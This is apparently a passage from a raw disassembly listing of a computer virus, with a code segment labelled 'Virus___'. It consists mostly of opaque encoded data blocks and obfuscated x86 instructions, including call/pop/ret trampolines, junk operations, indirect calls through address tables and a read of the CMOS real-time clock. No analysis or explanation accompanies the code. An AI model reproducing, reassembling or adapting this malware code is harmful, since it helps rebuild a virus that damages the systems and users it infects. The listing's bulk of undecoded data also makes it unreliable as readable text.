		dd 18042444h, 42000000h, 0B3C9C352h, 66686906h,	64CF3DBFh
		dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 941F4EC3h, 899F8F52h, 1B1761BDh
		dd 25896407h, 0
; ---------------------------------------------------------------------------
		clc
		inc	dword ptr [ebp+71B264Dh]
		clc
		jl	loc_585E01
		movzx	edi, si


loc_585E01:				; CODE XREF: Virus___:00585DF8j
		push	0FFFFFFFFh
		push	dword ptr [ebp+71B0A1Dh]
		mov	[ebp+71B2A89h],	edi
		call	dword ptr [ebp+71B2F45h]
		jmp	loc_585F58
; ---------------------------------------------------------------------------
		dw 0BD8Bh
		dd 71B2351h, 816600B0h,	0E6082AD3h, 719D3370h, 0E4071B32h
		dd 9DBD8B71h, 0E8071B12h, 0Eh, 0AF911706h, 0AF008368h
		dd 95E0C321h, 0BD8BC4EBh, 71B29F5h, 0F613C5Bh, 0FF83h
		dd 0FCB8100h, 8B336942h, 0C8B60FDFh, 0B6DCBF66h, 6BAh
		dd 29BB6600h, 0FC18BB3h, 1581h,	10E900h, 96990000h, 0D032138Fh
		dd 44DA8634h, 35BD32EEh, 0E8C1CFC1h, 61BD8B04h,	66071B09h
		dd 667EDABBh, 12E9E2F7h, 77000000h, 0B32EADCBh,	0AC66D37Dh
		dd 0CBBA4332h, 0F827CD26h, 0E9C82BA3h, 7, 8448F64Fh, 8BB6D77Fh
		dd 0E9EDB3D1h, 8Ch, 6840Fh, 9D0B0000h, 71B116Dh, 8858Bh
		dd 9D8B0000h, 71B2FD1h,	8307C083h, 820F00C0h, 8, 0B1958956h
		dd 5F071B15h, 830FD03Bh, 11h, 35F5B589h, 4DE9071Bh, 0B000000h
		dd 1B25DD9Dh, 0FF8D8B07h, 0E9FFFFFFh, 13h, 0EBE63A62h
		dd 17CE747Fh, 9CB5BC89h, 841D01EDh, 83C239B2h, 840F01E1h
		dd 20h,	33A1B589h, 0A583071Bh, 0FFFFFFFFh, 89FA8BFEh, 895h
		dd 61B58900h, 0E9071B29h, 0
; ---------------------------------------------------------------------------


loc_585F58:				; CODE XREF: Virus___:00585E15j
		lea	esi, [ebp+71F2A04h]
		push	0
		push	ebx
		call	sub_585F69
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585F69	proc near		; CODE XREF: Virus___:00585F61p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_585F69	endp

; ---------------------------------------------------------------------------
		cmc
		daa
		adc	[ecx], bl
		retn
; ---------------------------------------------------------------------------
		pop	eax
		xchg	eax, ecx
		dec	edx
		jmp	loc_585F99
; ---------------------------------------------------------------------------
		dw 0E18Eh
		dd 584EDC27h, 297CA5B2h, 7D92055Eh, 4EE7E3Ch
		db 1Bh
; ---------------------------------------------------------------------------


loc_585F99:				; CODE XREF: Virus___:00585F81j
		mov	[ebp+71B3579h],	ecx
		push	0
		push	0
		push	ecx
		call	sub_585FAC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_585FAC	proc near		; CODE XREF: Virus___:00585FA4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_585FAC	endp

; ---------------------------------------------------------------------------
		dd 9589CDFDh, 71B0DD9h,	128995FFh, 0B589071Bh, 71B1251h
		dd 0FC5B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0E183F92Ch, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 95894396h
		dd 71B18E5h, 68A0Fh, 95890000h,	71B2FB9h, 8DD5BFFCh, 0C02B29DFh
		dd 23A5B529h, 0BA071Bh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 7AEEC357h
		dd 8D2191F1h, 0AD7019CFh, 0E8D1C233h, 0E983D003h, 8BF47504h
		dd 1B3585BDh, 0EE907h, 74710000h, 60002E68h, 0B25FD459h
		dd 8218EFF2h, 880Dh, 0B5895700h, 71B1F29h, 0B5958B5Fh
		dd 6A071B29h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A568C356h, 0DB39DDBAh, 58D0Fh
		dd 99BF0000h, 8907A941h, 1B03F58Dh, 0F58D8B07h,	6A071B02h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0C6C2C352h, 12259D89h, 8B50071Bh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 3CA5FBBFh, 65BD830Eh
		dd 71B21h, 70840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0B531B0C3h, 0EB8166FFh
		dd 0B8A091h, 0F000000h,	8D8DF8B7h, 71B4F89h, 8B60DE8Ah
		dd 1B059DB5h, 1DB58B07h, 61071B21h, 6AE1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3F815DC3h
		dd 327D2095h, 60377BAAh, 0A9C28166h, 0BD8361D8h, 71B18CDh
		dd 0E9840F00h, 0F000004h, 68Ch,	29952900h, 83071B2Fh, 1B18CDBDh
		dd 840F0107h, 4EBh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 5C35747h, 16056B8h, 1B0E059Dh, 0F1BD8B07h
		dd 61071B34h, 6880Fh, 0B5010000h, 71B0131h, 18CDBD83h
		dd 0F03071Bh, 47086h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0F4F37004h, 8B60C9EDh
		dd 1B28599Dh, 0F9606107h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C001C353h
		dd 802105F7h, 12E904E1h, 0CD000000h, 0AF92EF8Ch, 0D7A9D423h
		dd 54B357B0h, 81AD442Fh, 0FC90AEFh, 0F984h, 79858900h
		dd 8B071B09h, 1B30E585h, 0FBBF0F07h, 2F18589h, 8533071Bh
		dd 71B3055h, 1EAD8D89h,	6650071Bh, 489DF8Bh, 39BD8B24h
		dd 8B071B19h, 0F006AF8h, 68Dh, 559D8B00h, 0E8071B17h, 4
		dd 1F03FFh, 0CE9h, 5A09BF00h, 483B1DCEh, 458C03D3h, 52505070h
		dd 6810Fh, 850F0000h, 0
		dd 8A51310Fh, 585A5BF8h, 424448Bh, 8BC8B7h, 89D98B66h
		dd 0E9042444h, 0Ch, 0DCC150CEh,	9D22F8C0h, 8CDA3EB8h, 81665758h
		dd 5FC1F5CBh, 4E995FFh,	6E9071Bh, 9D000000h, 500FF465h
		dd 0C88589D8h, 6A071EABh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1A15C355h, 0CE8EBh
		dd 0AB20000h, 11446338h, 711DDC6Ch, 896087C0h, 1B0D858Dh
		dd 13BB6607h, 295F611Dh, 1B0115BDh, 23FE907h, 0BF660000h
		dd 858BE77Fh, 71EABC0h,	0C1B509h, 0C7071Bh, 18h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 19C35040h, 9D0BF5A7h
		dd 71B0B61h, 0ABC4B58Bh, 9D8B071Eh, 71B2C29h, 2C999D8Bh
		dd 858B071Bh, 71B0149h,	6660FE8Bh, 0E8A1F4B8h, 0Ah, 588B3BD6h
		dd 44374F89h, 0BD017CF5h, 71B2401h, 6896159h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 73C35646h, 8B2CF14Fh
		dd 1B30E585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 534D8508h, 0E80D72E1h, 7,	89967BEBh
		dd 8BC3C0CDh, 1B2CE59Dh, 46895B07h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0F3D4DDB7h
		dd 50DA8B96h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 48F0F2Dh,	66000000h, 0FDC58BFh, 8Dh
		dd 0C0B5FF00h, 0F071EABh, 4E8D8B7h, 0FF000000h,	50001F03h
		dd 0BBB86052h, 6607FA0Eh, 61CBF3BFh, 0E860310Fh, 9, 2D028DD2h
		dd 82E6038Dh, 5F505E26h, 50585A61h, 448BFA8Ah, 9E90424h
		dd 4E000000h, 3BF6B0D0h, 5668EC6Bh, 0DE9008Bh, 0FB000000h
		dd 3CC90FE3h, 0A03518Ah, 0F0ECB36Fh, 4244489h, 6E9h, 0F2D5EE00h
		dd 58F79888h, 2BAD8D31h, 858D071Bh, 71EABC8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 10C35040h, 7E990h
		dd 0E78A0000h, 0B24655B5h, 14E850F3h, 58000000h, 0C8CD013Dh
		dd 55B9FCD4h, 0F7AA0652h, 9E39266Fh, 6656168Ch,	5B838DBBh
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0BA29C033h, 0A7086049h, 0BD8B27BAh, 71B2B55h
		dd 4E995FFh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 306304C3h, 3D341D71h, 0BF8BF0Fh
		dd 1B2FB1BDh, 6A6107h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0EB6698C3h, 0CB8166FFh, 85C77AABh
		dd 71B18CDh, 3,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	4DC35242h, 0F3BB9F64h, 0C14BCA51h, 10E9h, 914BFA00h
		dd 1C009AFBh, 0E2FF921Fh, 191C3AE0h, 0C8BD8377h, 71EABh
		dd 57840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 390CE9C3h, 4FE9h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0E8540A26h, 0Ah, 35E90BA1h, 1D61C655h, 0F3819724h, 71C056BFh
		dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 1BB5BD8Bh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8166C7C3h, 83949ED3h
		dd 1B18CDBDh, 850F0307h, 3A0h, 83DA8B66h, 1EABC8BDh, 840F0007h
		dd 390h, 6BDB8166h, 0C8B5FF88h,	6A071EABh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0B430C355h
		dd 5305D971h, 0E84DDA79h, 13h, 0CFF130E3h, 12217CDDh, 5D4C5492h
		dd 0DE46E9DAh, 29F72CDAh, 1B09ADBDh, 95FF5B07h,	71B09A5h
		dd 0ABBCB58Bh, 6A071Eh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0BC9704C3h, 106C7h, 870F0001h, 6
		dd 2E3DDB81h, 50963903h, 57525052h, 66310F5Bh, 5A08BCBBh
		dd 0B7310F58h, 50585A6Eh, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0ADAE3E24h
		dd 0B70316D3h, 0C8B5FF1Ch, 6A071EABh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2DB3C356h
		dd 0E1931E14h, 0FF2D6632h, 1B356195h, 0DA8B6607h, 0ABBCB58Bh
		dd 8F0F071Eh, 6, 1AB59D8Bh, 858B071Bh, 71B0411h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C0C35343h, 8B05927Dh
		dd 1B35E19Dh, 0C4868907h, 56000000h, 26FDBD89h,	895B071Bh
		dd 1B0AAD8Dh, 0B5958B07h, 6A071B29h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 6211C353h
		dd 0E304F663h, 70BF5666h, 5B4E74F0h, 6860F60h, 0F000000h
		dd 8Eh,	61D08B00h, 0E804C283h, 0Ch, 88BB0665h, 5F7E8F4Bh
		dd 0BF98C03Ch, 3800Fh, 8B660000h, 50895FF8h, 8B50F820h
		dd 858D5BDFh, 71EBFF9h,	0A4DBD89h, 8689071Bh, 0B8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0C4C35545h, 0F2CB8CBh
		dd 688h, 15BD3300h, 6A071B35h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 8DA9FAE1h
		dd 0B5FFFAC7h, 71EABC8h, 9DD95FFh, 890F071Bh, 0
; ---------------------------------------------------------------------------
		push	eax
		mov	ebx, 143C733h
		mov	[esp], esi
		push	0
		push	eax
		call	sub_586928
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586928	proc near		; CODE XREF: Virus___:00586920p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_586928	endp

; ---------------------------------------------------------------------------
		dd 6B2E95F5h, 7E9AFB1h,	4A000000h, 65ED1820h, 0B5FF5DC4h
		dd 71EABC8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	5C35242h, 8C175B06h, 0C72C8AD9h, 2DD9D8Bh, 95FF071Bh
		dd 71B0341h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	6BC35747h, 81DEEF68h, 0FE93Ah, 29460000h, 25CFC9B0h
		dd 0AD2E7F45h, 0C42C4153h, 31BD837Ah, 71B24h, 0D840Fh
		dd 0BD8B0000h, 71B2BC9h, 0DE8B6650h, 0FF243489h, 1EABC8B5h
		dd 13E907h, 0C9120000h,	590FF359h, 0A508BE89h, 388B5B1Ah
		dd 6DB872BAh, 0A595FF54h, 8B071B18h, 1B12C1BDh,	0C8B5FF07h
		dd 6A071EABh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 9EE1C350h, 293D95FFh, 8B66071Bh
		dd 0F1BD83FEh, 2071B28h, 42840Fh, 8A0F0000h, 9,	3880Fh
		dd 0BF0F0000h, 7D858BD8h, 6A071B00h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 8C53C351h
		dd 0C6B5h, 0D61B501h, 0BD03071Bh, 71B2991h, 99185C7h, 71Bh
		dd 0BD8B0000h, 71B2ED5h, 0FFF378E9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0D8A8DDE3h
		dd 6E9A9AFh, 0A3000000h, 0EB00DF54h, 999D2B41h,	8B071B34h
		dd 55858DC1h, 60071B12h, 27919523h, 12E8071Bh, 8F000000h
		dd 0DB81E1E0h, 0D0127FD9h, 283044D4h, 0EF2559C3h, 0D68DB995h
		dd 615E7785h, 9ABF6656h, 66905F48h, 50E7D3BBh, 0D88B6660h
		dd 9061F08Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	4EC35747h, 12D43639h, 0FBBF0FE7h, 0BD23006Ah, 71B139Dh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0FC2DCBC3h, 0EA309640h, 0CE9E8h, 7C610000h
		dd 9746045h, 0E3C21471h, 0DF81C3C4h, 2407CE98h,	0BB49858Dh
		dd 8B66071Fh, 5C083FBh,	5050F98Bh, 8B310F52h, 89585ADEh
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0BA78CAC3h, 12820Fh, 0DE90000h, 0B2000000h
		dd 94FFF415h, 63A8272h,	0DE17EDC2h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 79F764C3h
		dd 9F38136h, 6A10C3D3h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 401CB31Fh, 0DE84576h
		dd 0FB000000h, 831238B3h, 0B95B6032h, 571E30AAh, 1FEDBD89h
		dd 0FF5F071Bh, 1B1EA995h, 0DABF0F07h, 979C8D8Dh, 8F0F071Eh
		dd 6, 0E51BD8Bh, 0BD8B071Bh, 71B25C9h, 8166D1FFh, 837284F7h
		dd 1B2105BDh, 850F0107h, 67h, 24859589h, 26A071Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E3C35242h, 0FE85050h
		dd 79000000h, 0C38D6D53h, 293EF9ACh, 9993F6D8h,	616016AEh
		dd 4895B5Fh, 9FBF6624h,	0DD95FF81h, 66071B09h, 0BAB5DB81h
		dd 12E9h, 0F03C6F00h, 0D425C6Dh, 3FEB2641h, 1A8AF75Fh
		dd 0E9400AEAh, 0DB7h, 0E8h, 0ED815D00h,	71FBB53h, 8589D88Ah
		dd 71B20F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	30C35343h, 9D33D0A0h, 71B2575h,	9202858Dh, 6A071Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 69B089C3h, 13018B62h, 5066FADCh, 0EE8h, 0B60AB800h
		dd 200ACAB6h, 0A124B7D8h, 50C5EBF4h, 0CE852h, 81FF0000h
		dd 5CDC1D49h, 86F23323h, 0F5BC678h, 5A6CB331h, 4895F58h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 35FF6417h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_586D7B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586D7B	proc near		; CODE XREF: Virus___:00586D73p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_586D7B	endp

; ---------------------------------------------------------------------------
		db 0A2h
		dd 4113F429h, 0E9ECFEECh, 9, 0CE1C81E8h, 419A224Fh, 258964B5h
		dd 0
; ---------------------------------------------------------------------------
		jg	loc_586DB4
		mov	edi, [ebp+71B2425h]


loc_586DB4:				; CODE XREF: Virus___:00586DA8j
		inc	dword ptr [ebp+71B264Dh]
		mov	ebx, [ebp+71B12D1h]


loc_586DC0:				; CODE XREF: Virus___:00587A15j
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_586DCD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586DCD	proc near		; CODE XREF: Virus___:00586DC5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_586DCD	endp

; ---------------------------------------------------------------------------
		or	eax, 522869C6h
		sti
		lea	edx, [ecx-4A00265Bh]
		xor	[ebx+ebx], edx
		pop	es
		push	0
		push	ebp
		call	sub_586DF8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586DF8	proc near		; CODE XREF: Virus___:00586DF0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_586DF8	endp

; ---------------------------------------------------------------------------
		jno	short near ptr loc_586E43+4
		pusha
		jl	loc_586E19
		push	eax
		xor	[ebp+71B2B65h],	edx
		pop	ebx


loc_586E19:				; CODE XREF: Virus___:00586E0Bj
		call	dword ptr [ebp+71B2F45h]
		jmp	loc_586F18
; ---------------------------------------------------------------------------
		jmp	loc_586E2F
; ---------------------------------------------------------------------------
		db 52h,	2Ah, 4Ch
		db 0DBh, 0BAh, 33h
; ---------------------------------------------------------------------------


loc_586E2F:				; CODE XREF: Virus___:00586E24j
		mov	al, 0
		xor	[ebp+71B2E81h],	eax
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	ebx, 0B6C8840h
		in	al, 71h		; CMOS Memory
		cmc
		cmp	al, 61h


loc_586E43:				; CODE XREF: Virus___:00586E08j
		jnb	loc_586F18
		mov	[ebp+71B240Dh],	ebx
		movzx	ecx, al
		adc	bx, 0D117h
		and	edi, [ebp+71B2FB5h]
		mov	edx, 6
		push	ebx
		mov	edi, [ebp+71B3335h]
		pop	ebx
		mov	eax, ecx
		stc
		shr	eax, 4
		mov	ebx, [ebp+71B1761h]
		mul	dx
		movzx	edi, cx
		sub	ecx, eax
		mov	di, 809Eh
		mov	edx, ecx
		sub	ebx, [ebp+71B2B91h]
		jmp	loc_586F18
; ---------------------------------------------------------------------------
		mov	ebx, edi
		mov	eax, [ebp+1]
		and	edi, [ebp+71B304Dh]
		push	esi
		xor	ebx, [ebp+71B0889h]
		pop	ebx
		add	eax, 7
		mov	di, ax
		add	eax, 0
		mov	ebx, 1697AC34h
		cmp	edx, eax
		jnb	loc_586ECB
		and	bx, 3DA5h
		jmp	loc_586F18
; ---------------------------------------------------------------------------
		mov	[ebp+71B2CD9h],	edi


loc_586ECB:				; CODE XREF: Virus___:00586EB5j
		mov	ecx, [ebp-1]
		jmp	loc_586EE2
; ---------------------------------------------------------------------------
		dw 0F729h
		dd 6EDDE124h, 5301CB7Bh
		db 0F5h, 31h
; ---------------------------------------------------------------------------


loc_586EE2:				; CODE XREF: Virus___:00586ED1j
		and	ecx, 1
		jz	loc_586F18
		or	[ebp+71B26BDh],	esi
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	edi, [ebp+71B3029h]
		mov	[ebp+1], edx
		pusha
		or	edi, [ebp+71B1C3Dh]
		cmc
		popa
		and	ebx, 24B69AE6h
		jmp	$+5


loc_586F18:				; CODE XREF: Virus___:00586E1Fj
					; Virus___:loc_586E43j	...
		lea	esi, [ebp+71F39C9h]
		jmp	loc_586F28
; ---------------------------------------------------------------------------
		mov	esp, 0E1EB6062h


loc_586F28:				; CODE XREF: Virus___:00586F1Ej
		push	0
		mov	edi, [ebp+71B32C5h]
		call	dword ptr [ebp+71B1289h]
		add	edi, [ebp+71B0C01h]
		mov	ecx, 10A9h
		push	0
		push	ecx
		call	sub_586F4C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586F4C	proc near		; CODE XREF: Virus___:00586F44p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_586F4C	endp

; ---------------------------------------------------------------------------
		cmp	dh, bl
		xchg	eax, esp
		retn
; ---------------------------------------------------------------------------
		dd 83F90BE5h, 6060FCE1h, 2D1B529h, 8D89071Bh, 71B092Dh
		dd 79B96661h, 8BFC619Ah, 6AC02BF9h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2558C352h
		dd 0D22B76B8h, 267D9D31h, 33AD071Bh, 3E8D1C2h, 4E983D0h
		dd 0BD2BF475h, 71B0A85h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0DAC35242h, 0B77DEF1Dh, 6A0AB4B3h, 880DCBh
		dd 89520000h, 1B2B0995h, 958B5F07h, 71B29B5h, 1BA59D8Bh
		dd 8D8B071Bh, 71B02F5h,	11E9B589h, 8B50071Bh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 6AF88B66h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0E1D3C355h, 2EE53CF2h, 4D95893Bh, 83071B01h,	1B2165BDh
		dd 840F0007h, 87h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 9AC35343h, 2B13ECE4h,	1B13319Dh, 6D9D8907h
		dd 8B071B00h, 1B0C15BDh, 0B807h, 0E9600000h, 0Ch, 0FAA2864Ch
		dd 0FCA3C9ECh, 0ABEDAE7Eh, 0D9BD0161h, 8D071B31h, 1B4F898Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0AEA27274h, 8F0FB9A9h, 4, 7C9CBF66h, 0E1FF46B7h
		dd 837DE780h, 1B18CDBDh, 840F0007h, 49Dh, 13E9h, 0E300A700h
		dd 5433302h, 7C795DE5h,	0E39DEFBDh, 7B858609h, 18CDBD83h
		dd 0F01071Bh, 49384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 56B3996Eh, 0B29CE40Ah
		dd 0BD837401h, 71B18CDh, 2B860F03h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0BF5DC352h, 1FD08F59h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0AF6B1A0h
		dd 0AD213184h, 6AD98C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 12BBC353h, 656FCC54h
		dd 89EE074Eh, 1B004195h, 4E18007h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0F5C35040h,	0BF0F1E12h, 0FC90AFAh
		dd 13F84h, 0FD9D8900h, 8B071B24h, 1B30E585h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 7662828Ah, 0FED33537h, 5060E589h, 1F519D89h,	0E859071Bh
		dd 6, 1AC393E0h, 0BD03AF09h, 71B1719h, 8533615Eh, 71B3055h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FCC35242h
		dd 4E152CA0h, 0F574B3F7h, 8A19D8Bh, 6690071Bh, 5050F88Bh
		dd 8BB3BF52h, 310F318Fh, 5AF98B66h, 8E0F9058h, 6, 0DA5BD29h
		dd 6A071Bh, 8F19D8Bh, 4868071Bh, 560072BBh, 2434815Bh
		dd 6DB8B7h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ch,	58C35242h, 0AE93DD04h, 0AF5E73A8h, 95FFFD8Ah, 71B04E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BFC35646h
		dd 4CEF26CDh, 0E5BD036Eh, 89071B08h, 1EABC885h,	18D0F07h
		dd 0F9000000h, 1D9E9h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 93B2A6D8h, 0B589DC95h
		dd 71B05B9h, 0ABC0858Bh, 8509071Eh, 71B21E1h, 1800C7h
		dd 8D290000h, 71B2D51h,	1839BD8Bh, 0B58B071Bh, 71EABC4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C7C35141h
		dd 0D13607Ah, 0F94C0E8h, 858BFEBFh, 71B0149h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4DC35040h, 8589BC56h
		dd 71B0E41h, 0BD890689h, 71B0451h, 14E9h, 76292400h, 6AC2C5ECh
		dd 227A79B3h, 45C40D17h, 0DA5571F8h, 0E5858B71h, 6A071B30h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8BB8C351h, 1B04899Dh, 4468907h, 50F88B96h
		dd 38F0Fh, 8B660000h, 8D8996FEh, 71B2725h, 27E99531h, 0B5FF071Bh
		dd 71EABC0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0C35343h, 78B83723h, 0B7DF6138h, 4E825h, 3FF0000h
		dd 0BB66001Fh, 0BF503B1Fh, 0BD6209Ah, 424448Bh,	4489008Bh
		dd 8B660424h, 6A58F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8D81C6C3h, 1EABC885h, 4DBD8B07h
		dd 90071B0Dh, 14E850h, 0D440000h, 0CF0C5783h, 0B3E738CEh
		dd 88E67E4h, 0B020B215h, 0BB661AA6h, 905FD9D3h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0FDC35646h, 0C8C66AC7h
		dd 38C0F07h, 66000000h,	0B589DE8Bh, 71B2731h, 4E995FFh
		dd 890F071Bh, 6, 23CD8589h, 8961071Bh, 1B23299Dh, 0CD85C707h
		dd 3071B18h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 1D82C351h, 0ABC8BD83h
		dd 0F00071Eh, 6184h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 250A7167h, 88A77652h
		dd 0AE98737h, 19000000h, 480A62CEh, 537775E8h, 0D98A5393h
		dd 0DF81535Fh, 72046878h, 37E95Bh, 0F600000h, 0E89h, 9E900h
		dd 0EAC50000h, 0AAB53AABh, 19DBE44h, 1B202D85h,	30506107h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
